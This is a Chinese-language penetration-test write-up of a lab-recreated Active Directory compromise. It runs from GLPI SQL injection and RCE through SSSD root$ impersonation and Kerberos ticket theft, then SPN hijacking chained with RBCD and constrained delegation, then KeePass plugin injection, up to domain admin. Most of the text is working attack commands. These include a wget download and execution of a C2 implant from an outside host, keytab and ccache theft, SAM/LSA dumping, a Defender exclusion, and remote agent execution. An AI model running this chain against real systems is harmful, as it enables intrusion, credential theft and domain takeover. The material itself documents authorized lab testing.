前言

最近我们被委托进行内网演练,涉及 Linux 上的 Kerberos 票据操作、串联 RBCD 以绕过 Server 2025 防护的约束委派链,以及通过插件注入提取 KeePass 密码库。为了保护客户隐私,所有场景都在实验室环境中重新创建。

环境

FQDN

IP

OS

env

web01.corp.lab

10.0.0.12

Ubuntu 24.04

GLPI Web 服务器,入口

app01.corp.lab

10.0.0.11

WinServer 2025

域成员

dc01.corp.lab

10.0.0.10

WinServer 2025

域控

初始立足点

CVE-2025-24799(pre-auth_Sqli)

MSF 模块(glpi_inventory_plugin_unauth_sqli)可以打,拿到 $2y$10 加密的密码,解密几天成功跑出 web 用户密码。

CVE-2025-24801(auth_RCE)

打 POC 拿到 www-data 权限

部署C2, Mythic Poseidon。

nohup wget -O /tmp/poseidon http://1.1.1.1:8080/poseidon >/tmp/wget.log 2>&1 &
cd /tmp
chmod +x poseidon
./poseidon

信息收集

1、SSH 进程
@notty 表示会话是非交互式会话,进程树显示 sleep 45 看起来像是一类自动化 SSH 会话。

2、数据库凭据信息
通过 config_db.php 文件获取到 MySQL 明文凭据。

3、提取 LDAP 密码
登录页面中存在 LDAP 集成功能,翻数据库表 glpi_authldaps 发现 GLPI 使用绑定账号 CN=svc_ldap,CN=Users,DC=corp,DC=lab 对 ldaps://dc01.corp.lab 进行认证,密码是用 GLPI 的密钥加密,配套密钥在 glpicrypt.key 文件,解密,成功拿到明文密码。

4、凭据有效性验证

nxc ldap 10.0.0.10 -u svc_ldap -p '<LDAP_BIND_PWD>' -d corp.lab


LDAP 认证成功,确认凭据在域内有效

BloodHound

1、svc_ldap 属于 LinuxUsers 组
2、LinuxUsers 组对 web01 拥有 ssh 权限。
3、bot_svc 对 APP01$ 拥有 WriteSPN 权限。
这意味着 bot_svc 可以修改 APP01$ 计算机对象上的 servicePrincipalName 属性。SPN 决定哪个账号持有 Kerberos 服务票据的加密密钥,所以控制 SPN 非常强大。
4、WEB01$ 拥有指向 HTTP/srv02 和 HTTP/srv02.corp.lab 的约束委派。这两个 SPN 当前不存在于任何域对象上。这个不寻常的配置成为提权链的核心。
srv02$ 是一个计算机账号,svc_ldap 可以重置其密码,这让我们可以控制 srv02$ 这个身份。


web01 上的 realm 配置确认该主机通过 SSSD加入了域

corp.lab
  type: kerberos
  realm-name: CORP.LAB
  configured: kerberos-member
  client-software: sssd
  permitted-groups: LinuxAdmins@corp.lab, LinuxUsers@corp.lab

SSSD (System Security Services Daemon)处理 AD 与 Linux 之间的映射:Kerberos 认证、AD 到本地 UID/GID 的映射、家目录、shell 访问。permitted-groups 一行显示哪些 AD 组被允许登录。

立足点2、ssh(svc_ldap)

以 svc_ldap 身份 SSH,成功获得一个真正的域用户会话,现在是域加入的 Linux 主机上的域用户了。

过程:SSH -> PAM -> SSSD -> KDC 校验.
SSSD 检查 permitted-groups:svcldap 属于 LinuxUsers 组,被允许登录
SSSD 把 
svc_ldap@CORP.LAB 映射成一个本地 Linux 用户,分配本地 UID 给 shell 会话并在 /tmp 生成 krb5cc* 票据缓存文件

ssh 'svc_ldap@web01.corp.lab'
password: <LDAP_BIND_PWD>

信息收集

1、Kerberos 缓存文件 ccache
以 svc_ldap 身份,我们可以在 /tmp/ 里看到 Kerberos 凭据缓存(ccache)文件:

Ccache 文件是 Linux 上标准的 Kerberos 凭据存储格式。当用户通过 Kerberos 认证时——无论是 kinit、带 GSSAPI 的 SSH 还是 SSSD——Kerberos 库会把得到的 TGT(票据授予票据)和任何服务票据存入 ccache 文件。这些文件等同于一个已登录的会话。任何持有有效 ccache 的人,不需要知道密码,只要把 KRB5CCNAME 环境变量指向该文件,就能以该用户身份认证。

bot_svc 的 ccache 文件在 /tmp/,权限是 -rw-------,只有 bot_svc(或 root)能读。bot_svc 对 APP01$ 有 WriteSPN 权限。我们需要 web01 上的 root 才能偷到那张票据。

原理:Dollar Ticket 攻击

1、Dollar Ticket 攻击,漏洞在于 KDC 解析账户名称的方式,利用的是 SSSD 把 AD 账号映射为本地 Linux 用户身份的方式。在加入域的 Linux 主机上,SSSD 把 AD 账号名解析为本地 UID。默认这个映射是基于名称的:
svc_ldap@CORP.LAB 映射为本地用户 svc_ldap
bot_svc@CORP.LAB 映射为 bot_svc,依此类推。
2、关键在于:这个映射对 root 这个名字同样适用。如果 AD 中存在名为 root 的账号,并且它通过 Kerberos(带 GSSAPI 的 SSH)向该 Linux 主机认证,SSSD 就会把 root@CORP.LAB 映射为本地 uid 0 的 root 用户。这个 AD 账号不需要任何特殊域权限,只需要名字对。
3、默认情况下,MAQ 允许创建机器账户。任何域用户可以创建机器账户,上限为(默认 MAQ = 10)。
机器账户名以 $ 结尾,但 SSSD 拿 $ 之前的 Kerberos 主体名去匹配本地用户名。如果我们创建一个名为 root$ 的机器账户,Kerberos 主体 root 就会映射到本地 uid 0。

构造攻击链:

Dollar Ticket 攻击:创建一个名为 root$ 的 AD 机器账户,SSSD 会把它映射到本地 uid 0。

1、MAQ 允许创建机器账户。任何域用户可以创建机器账户(默认 MAQ = 10)
2、我们控制机器账户名,想怎么叫都行
3、KDC 自动附加 $,如果我们请求 root 的 TGT,KDC 会将其解析为 root$
4、所以如果我们创建一个名为 root$ 的机器账户,并用我们控制的密码,然后请求 root 的 TGT(去掉 $),KDC 会:搜索 root 未找到,用 root$ 重试,找到我们的机器账户,发出一个主体名为 root@CORP.LAB 的 TGT。当我们用这个工单 SSH 进入 web01 时,SSH 服务器会看到主体 root 的有效 Kerberos,并认证我们为本地 root 用户。

立足点3、Kerberos(bot_svc)

创建机器账户 root$

在 AD 中创建名为 root$ 的新计算机对象并设置随机密码。它使用 svc_ldap 的凭据和默认的 MachineAccountQuota 权限,无需任何特殊权限。

addcomputer.py -dc-host dc01.corp.lab CORP/svc_ldap -computer-name root -dc-ip 10.0.0.10
Password: <LDAP_BIND_PWD>
impacket-getTGT -dc-ip 10.0.0.10 'corp.lab/root:xxxxxxxx'

SSH 服务器收到 GSSAPI 认证请求后,会向 KDC 验证票据、提取主体名(root),然后让 SSSD 将其映射为本地用户。SSSD 看到 root,就映射到 uid 0:

export KRB5CCNAME=root.ccache;ssh -o GSSAPIAuthentication=true root@web01.corp.lab

拿到 web01 的 root。root$ 机器账户在域里没有任何特殊权限,它就是个普通机器账户。但 SSSD 把这个名字映射到本地 uid 0,这就够了。

root 目录还存有 MySQL 凭据:

利用 bot_svc 的 Kerberos 票据

1、root 身份可读 bot_svc 的 ccache。

Kerberos ccache 文件包含真正的加密票据——一个 TGT(用 KDC 的密钥加密,证明用户身份)和会话期间请求的所有服务票据。拿到别人的 ccache 就是拿到了他们的会话。无需破解密码,票据即拿即用。文件名格式 krb5cc_<UID>_<random> 是 SSSD 管理的 ccache 文件的标准格式。UID 1020401110 是 bot_svc 映射后的 AD UID。

2、把 ccache 文件传回攻击机。因为文件是二进制文件,base64 编码复制后解密命名为 bot_svc.ccache,避免因特殊字符被解析而损坏:

base64 -w0 /tmp/krb5cc_1020401110_YUp0pw
echo "BQQADAABAAj//8fE..." | base64 -d > bot_svc.ccache

3、可通过尝试用认证来验证票据有效。

export KRB5CCNAME=bot_svc.ccache
smbclient.py -k -no-pass bot_svc@dc01.corp.lab

设置 KRB5CCNAME 环境变量会告诉任何支持 Kerberos 的工具使用这个特定的 ccache 文件而不是默认的,-k 使用 Kerberos 认证,-no-pass 认证已来自 ccache,不要提示让我输入密码。

结果 smbclient.py 连接成功票据有效,成功拿到域内 bot_svc 身份。 bot_svc 对 APP01$ 有 WriteSPN 权限。这让我们可以控制注册在 APP01$ 计算机对象上的 Kerberos 服务主体名称,为下阶段做铺垫。

原理:委派

Kerberos 委派是一种允许服务冒充用户并代表用户访问其他服务的机制。当你向一个 Web 应用认证,而该 Web 应用需要代表你查询数据库时,委派就是让 Web 应用能以你的身份向数据库出示票据的机制。三种委派形式:
1、无约束委派(Unconstrained delegation)允许服务冒充用户访问域内任何服务。最危险,越来越少见。
2、约束委派(Constrained delegation)限制委派账号能冒充用户访问哪些服务。它使用两个 Kerberos 协议扩展:S4U2Self(Service-for-User-to-Self)和 S4U2Proxy(Service-for-User-to-Proxy)。S4U2Self 让服务能代表任何用户获取一张访问自己的票据;S4U2Proxy 让服务能把这张票据转发给另一个特定服务。允许的目标列在 msDS-AllowedToDelegateTo 属性中。
3、基于资源的约束委派(RBCD)反转了信任方向。不再由委派服务指定自己可以委派到哪里,而是由目标资源指定谁被允许委派到它。这存储在目标对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性中。

这里关键的是协议转换(Protocol Transition)。约束委派有一个标志叫 TrustedToAuthForDelegation(也称"协议转换"或"使用任何认证协议")。设置此标志时,S4U2Self 返回可转发(forwardable)票据,S4U2Proxy 会接受它。未设置此标志时("仅 Kerberos"选项),S4U2Self 返回不可转发票据,S4U2Proxy 会拒绝使用。

RBCD 总是允许协议转换。通过 RBCD 信任执行的 S4U2Self 总是返回可转发票据,无论 TrustedToAuthForDelegation 标志如何设置。微软是有意这样设计的,RBCD 被设计得比经典约束委派更自包含。

已知委派关系

委派关系显示:
1、WEB01$ 拥有指向 HTTP/srv02 和 HTTP/srv02.corp.lab 的约束委派,无协议转换(TrustedToAuthForDelegation = FALSE)
2、这些 SPN 不存在于任何域对象上(findDelegation 显示 SPN Exists: No)
3、bot_svc 对 APP01$ 有 WriteSPN 权限
4、我们有 web01 的 root,可以提取 WEB01$ 的 keytab

问题所在

WEB01$ 可以向 HTTP/srv02.corp.lab 委派,但协议转换被禁用。这意味着如果我们直接对 WEB01$ 的约束委派使用 S4U2Self,得到的票据将是不可转发的。S4U2Proxy 要求输入可转发票据(即"证据"票据),所以委派会失败。

在旧版 Windows 上,bronze bit 攻击(CVE-2020-17049)可以通过翻转加密票据数据中的 forwardable 标志来绕过这个限制。KDC 在 S4U2Proxy 处理时不校验这个标志,攻击者可以手动设置它让委派通过。微软已修复,Server 2025 强制启用了补丁。Bronze bit 在这里行不通了。

变通方案:RBCD 与约束委派串联

解决方案是用 RBCD 产出约束委派所需的可转发票据。逻辑如下:
1、我们控制 SRV02$(svc_ldap 可以重置其密码)和 WEB01$(我们有 root,可以提取它的密钥)
2、在 WEB01$ 上配置 RBCD 信任 SRV02$ ,即允许 SRV02$ 委派到 WEB01$
3、SRV02$ 通过 RBCD 信任执行 S4U2Self + S4U2Proxy,得到一张以 Administrator 身份访问 WEB01$ 的可转发票据
4、我们把这张可转发票据作为"证据"票据,用于 WEB01$ 到 HTTP/srv02.corp.lab 的约束委派
5、S4U2Proxy 接受可转发的证据票据,签发访问 HTTP/srv02.corp.lab 的服务票据
6、我们用 bot_svc 把 HTTP/srv02.corp.lab 写成 APP01$ 的 SPN,于是这张票据对 APP01$ 有效
7、最后把服务类别从 HTTP/ 改写为 cifs/,来做到文件共享

完整攻击流程:
1、利用 bot_svc 向 APP01$ 上添加 HTTP/srv02.corp.lab SPN
2、在 WEB01$ 上设置 RBCD,信任 SRV02$
3、用 SRV02$ 通过 RBCD 拿到以 Administrator 身份访问 WEB01$ 的可转发票据
4、把这张可转发票据作为票据用于 WEB01$ 的约束委派
5、改写服务类别,访问 APP01$

立足点4、SPN 劫持 + RBCD 与约束委派串联

这是整条链中技术含量最高的部分。它组合了 SPN 操纵、基于资源的约束委派(RBCD)、经典约束委派和 Kerberos 服务票据改写,把一组看似互不相关的权限变成 APP01 上的管理员访问。

提取 WEB01$ 的密钥

要拿 WEB01$身份,需它的加密密钥。
在加入域的 Linux 主机上,机器账户的密钥放在 /etc/krb5.keytab 中。
提取 keytab 并解码:

# 在 web01 上以 root 执行
base64 -w0 /etc/krb5.keytab

# 在 kali 上
python3 keytabextract.py krb5.keytab

keytab 是 Kerberos 主体名及其关联加密密钥的持久化存储。Linux 主机加入 AD 域时,加域过程会生成包含机器账户长期密钥(由机器账户密码派生)的 keytab。主机上的服务用这个 keytab 在无人干预的情况下向 KDC 认证——它相当于机器层面的保存密码。keytab 包含多种加密类型的密钥:DES(遗留)、ARC4-HMAC(RC4/NTLM)、AES-128 和 AES-256。
keytabextract.py 读取 keytab 二进制格式并提取加密密钥。NTLM 哈希是 RC4-HMAC 密钥(密码的 MD4),AES-256 哈希是 AES256-CTS-HMAC-SHA1-96 密钥。两者都能让你在不知道实际密码的情况下以 WEB01$ 身份认证。这里 AES-256 密钥最重要,因为 Server 2025 默认禁用 RC4——对 DC 的任何 Kerberos 操作必须使用 AES。

第 1 步:把 SPN 写到 APP01$ 上(以 bot_svc 身份)

如果我们把 HTTP/srv02.corp.lab 注册到 APP01$ 上,那么为该 SPN 签发的任何票据都会用 APP01$ 的密钥加密,APP01$ 会将其视为有效认证接受。
使用 bot_svc 的 WriteSPN 权限,把目标 SPN 加入 APP01$ 的 servicePrincipalName 属性:

bloodyAD -d corp.lab -u 'bot_svc' \
    -k ccache=bot_svc.ccache \
    -H dc01.corp.lab \
    set object 'APP01$' servicePrincipalName \
    -v 'WSMAN/app01.corp.lab' \
    -v 'TERMSRV/APP01' \
    -v 'TERMSRV/app01.corp.lab' \
    -v 'RestrictedKrbHost/APP01' \
    -v 'HOST/APP01' \
    -v 'RestrictedKrbHost/app01.corp.lab' \
    -v 'HOST/app01.corp.lab' \
    -v 'HTTP/srv02.corp.lab'

服务主体名称(SPN)是 Kerberos 把服务映射到持有其加密密钥的账号的方式。当客户端请求 HTTP/srv02.corp.lab 的票据时,KDC 查找哪个 AD 账号注册了该 SPN,用该账号的密钥加密票据并签发。
bloodyAD 的 set object 是整体替换 servicePrincipalName 属性不是追加,所以现有 SPN 都必须和新 SPN 一起写。

第 2 步:重置 SRV02$ 密码(以 svc_ldap 身份)

RBCD 这一步需要以 SRV02$ 身份认证。svc_ldap 有权重置 SRV02$ 计算机账户的密码
所以我们用 addcomputer.py 加 -no-add 参数,让工具修改现有账户

addcomputer.py -dc-host dc01.corp.lab CORP/svc_ldap \
    -computer-name srv02 -dc-ip 10.0.0.10 -no-add

现在我们知道了 SRV02$ 的密码,可以以该账户认证。

第 3 步:在 WEB01$ 上设置 RBCD,允许 SRV02$ 委派到 WEB01$

RBCD 通过在目标计算机对象上写入 msDS-AllowedToActOnBehalfOfOtherIdentity 属性来配置。该属性持有一个安全描述符,列出哪些账号可以委派到这台计算机。我们在 WEB01$ 上写它(通过提取的 NTLM 哈希控制 WEB01$),信任 SRV02$:

rbcd.py -delegate-from 'SRV02$' -delegate-to 'WEB01$' -action write \
    -dc-ip 10.0.0.10 -hashes ':09ba0ebea85e631bbab9b60ee29dba1f' \
    -use-ldaps 'CORP.LAB/WEB01$'

rbcd.py 以 WEB01$ 身份认证(使用 keytab 提取的 NTLM 哈希),修改 WEB01$ 自己的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,加入 SRV02$ 的 SID。-use-ldaps 参数是必需的,因为 Server 2025 要求写操作使用 LDAP 签名或 LDAPS。

此后,委派信任链为:SRV02$ ->(RBCD)-> WEB01$ ->(约束委派)-> HTTP/srv02.corp.lab(现在已注册在 APP01$ 上)。

第 4 步:通过 RBCD 拿到以 Administrator 身份访问 WEB01$ 的可转发票据

现在执行 RBCD 委派。SRV02$ 执行 S4U2Self 获得一张代表 Administrator 访问自己的票据,然后 S4U2Proxy 把这张票据转发到 WEB01$。因为走的是 RBCD(而非约束委派),无论 TrustedToAuthForDelegation 如何设置,得到的票据都是可转发的:

getST.py -spn 'host/web01.corp.lab' -impersonate 'Administrator' \
    -dc-ip 10.0.0.10 \
    'CORP.LAB/SRV02$:<RESET_PWD>'

getST.py 先用我们设置的密码为 SRV02$ 获取 TGT。然后执行 S4U2Self:向 KDC 发送请求"我是 SRV02$,给我一张 Administrator 访问我(SVC02)的票据"。KDC 返回一张 Administrator@SVC02 的服务票据。接着 S4U2Proxy:"我是 SVC02,这是 Administrator 访问我的票据,现在给我一张 Administrator 访问 host/web01.corp.lab 的票据。"因为 WEB01 的 RBCD 属性信任 SVC02,KDC 批准请求,返回一张 Administrator 到 WEB01 的可转发票据。

这张可转发票据是让攻击链其余部分成为可能的关键部件。它正是约束委派的 S4U2Proxy 所需的证据。

第 5 步:用可转发票据作证据进行约束委派

现在使用 WEB01$ 的约束委派。WEB01$ 被允许委派到 HTTP/srv02.corp.lab。我们把第 4 步的可转发票据作为 -additional-ticket(证据票据)提供,请求一张 Administrator 访问 HTTP/srv02.corp.lab 的服务票据:

Server 2025 默认禁用 RC4 加密,所以我们必须用 keytab 中的 AES-256 密钥以 WEB01$ 身份认证。用 NTLM 哈希会失败,因为 KDC 会尝试 RC4 加密并拒绝:

getST.py -spn 'HTTP/srv02.corp.lab' -impersonate 'Administrator' \
    -dc-ip 10.0.0.10 \
    -aesKey '<value_aeskey>' \
    -additional-ticket 'Administrator@host_web01.corp.lab@CORP.LAB.ccache' \
    'CORP.LAB/WEB01$'

-additional-ticket 参数让 getST.py 完全跳过 S4U2Self,直接用提供的票据作为 S4U2Proxy 的证据票据。工具以 WEB01$ 身份认证(使用 AES-256),向 KDC 出示第 4 步的可转发 Administrator 票据,请求委派到 HTTP/srv02.corp.lab。KDC 检查 WEB01$ 的 msDS-AllowedToDelegateTo 属性是否包含 HTTP/srv02.corp.lab,验证证据票据是可转发的,然后签发服务票据。

结果是一张 Administrator 访问 HTTP/srv02.corp.lab 的 Kerberos 服务票据。因为我们在第 1 步已把该 SPN 注册到 APP01$ 上,这张票据用 APP01$ 的密钥加密,会被 APP01$ 作为有效认证接受。

第 6 步:改写服务类别并访问 APP01$

我们手里的票据是 HTTP/srv02.corp.lab 的,但要访问 APP01$ 上的 SMB 共享需要 cifs/。

Kerberos 服务票据把服务名拆成两部分:服务类别(HTTP、cifs、host)和主机名(srv02.corp.lab)。服务类别位于票据未加密的外层部分(外层包装中的 sname 字段),目标服务不会拿它与加密内容核对。

这意味着我们可以把票据中的 HTTP/srv02.corp.lab 改成 cifs/app01.corp.lab 而不使其失效。加密部分(包含会话密钥、授权数据和客户端主体)保持原样、依然有效。目标主机用自己的密钥解密票据、校验加密内容,然后放行。

Impacket 的 tgssub.py 执行改写:

tgssub.py -in Administrator@HTTP_srv02.corp.lab@CORP.LAB.ccache \
    -out final.ccache -altservice 'cifs/app01.corp.lab'

现在用改写后的票据认证 APP01$:

export KRB5CCNAME=final.ccache
smbclient.py -k -no-pass app01.corp.lab

以 Administrator 身份拿到 APP01$ 的完全管理员访问。ADMIN$和C$ 可访问,确认了本地管理员权限。

在 C 盘根目录我们发现 bot_ssh.ps1——就是之前注意到的自动化 SSH 连接背后的脚本:

我们还发现了 vault.kdbx——一个 KeePass 密码数据库。最后一个目标。

在 APP01 上建立 C2 并转储凭据

在动手 KeePass 数据库前,先在 APP01 上做 Mythic Apollo
1、用 NetExec 来 dump SAM 和 LSA ,拿到本地 Administrator 的 NTLM 哈希和 APP01$ 机器账户哈希

nxc smb 10.0.0.11 -k --use-kcache --sam --lsa

--use-kcache 让 NetExec 用 KRB5CCNAME 环境变量中的 Kerberos 票据认证。输出给出了本地 Administrator 的 NTLM 哈希和 APP01$ 机器账户哈希。

2、为目录添加 Defender 排除项。

wmiexec.py -k -no-pass app01.corp.lab -shell-type powershell -share C$ 'Add-MpPreference -ExclusionPath "c:\temp"'

wmiexec.py 通过 WMI(Windows 管理规范)远程执行命令,这是一个合法的管理协议,无需安装 agent。-shell-type powershell 参数把命令包在 PowerShell 上下文中,以便使用 Add-MpPreference 这类 cmdlet。

3、通过 smbclient.py 上传 Apollo agent 并执行:

# cd temp
# put ~/CORP/apollo.exe

wmiexec.py -k -no-pass app01.corp.lab -shell-type powershell -share C$ 'c:\temp\apollo.exe'

Mythic 收到来自 APP01 的 Administrator 回连。两台主机现在都有 C2。linux 上是 Poseidon,Windows 上是 Apollo。

用 KeeFarceReborn 提取 KeePass

vault.kdbx 文件是 KeePass 数据库。KeePass 用密码或密钥加密数据库,只有库文件还不够。破解主密码不现实。KeePass 使用 Argon2d/AES-KDF 密钥派生。转向 KeePass 进程。如果 KeePass 处于打开状态且数据库已解锁,解密后的内容就在内存里。
1、先用 KeePwn 工具确认 KeePass 版本号为 2.60.0

KeeFarceReborn 原理

KeeFarceReborn 是一个滥用 KeePass 插件架构的 .NET DLL。KeePass 会加载其 Plugins 目录下任何实现了 KeePassPlugin 接口的 .NET DLL。KeeFarceReborn 实现了该接口,加载后调用 KeePass 自己的内部 ExportToXml() 方法,把解密后的数据库导出为磁盘上的 XML 文件。它是在用应用自己的 API 对付应用本身。


麻烦之处在于:插件 DLL 必须针对目标上运行的 KeePass.exe 的精确版本编译。KeePass 插件在编译时把 KeePass.exe 作为 .NET 程序集引用,版本不匹配会导致加载失败。所以流程是:通过 smbclient.py 下载目标的 KeePass.exe,在 Visual Studio 中添加为引用,编译 KeeFarceReborn 插件 DLL。

2、上传编译好的插件:

smbclient.py Administrator@10.0.0.11 \
    -hashes '<NTLN_HASH>'

DLL 已放入 Plugins 目录。下次有用户打开或重新打开数据库时 KeePass 就会加载它。如果 APP01 上自动化的 auto_svc 用户会话会定期打开密码库,插件会自行触发。

3、用 KeePwn 的 plugin poll 命令等待导出:

python KeePwn.py plugin poll -u Administrator \
    -H '<NTLN_HASH>' \
    -t 10.0.0.11

plugin poll 每 5 秒检查一次目标文件系统上 KeeFarceReborn 生成的导出文件。文件一出现,KeePwn 就下载它并删除远程副本。导出文件以明文 XML 包含 KeePass 数据库中的每一条记录——用户名、密码、URL、备注。

4、导出的密码库包含 da_admin(一名域管理员)和内置 Administrator 账户的凭据。

拿 DC01 域管权限

用 KeePass 密码库中的域管凭据,成功拿到域管

nxc smb 10.0.0.10 -d CORP.LAB -u Administrator -p '<admin_pwd>'

总结

首先从web入手靠两个CVE拿到了 www-data 权限,通过配置文件解出 LDAP 绑定账号的明文密码。
在对域结构分析后指出四条路:SSH 进 Linux 主机、对成员机有写 SPN 权限、存在一条指不到实处的约束委派、以及能重置某台计算机的密码。
到主机上再用 AD 默认的机器账户配额,创建一个名为 root$ 的账户,被 SSSD 按名字映射成了本地 uid 0,从而有资格偷走留在 /tmp 的 Kerberos 票据。最后用那张票据的写 SPN 权限把目标服务名绑到成员机的密钥上,用 RBCD 补出约束委派缺的那张可转发票据,把票据改写成 cifs 后管理员身份进入 APP01,从 KeePass 明文库里拿到域管理员密码,进而拿到域控域管权限。

参考

[MS-KILE]: Kerberos Protocol Extensions | Microsoft Learn
[MS-SFU]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol | Microsoft Learn
Kerberos Constrained Delegation Overview in Windows Server | Microsoft Learn
Service principal names - Win32 apps | Microsoft Learn
ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute - Win32 apps | Microsoft Learn
NVD-CVE-2020-17049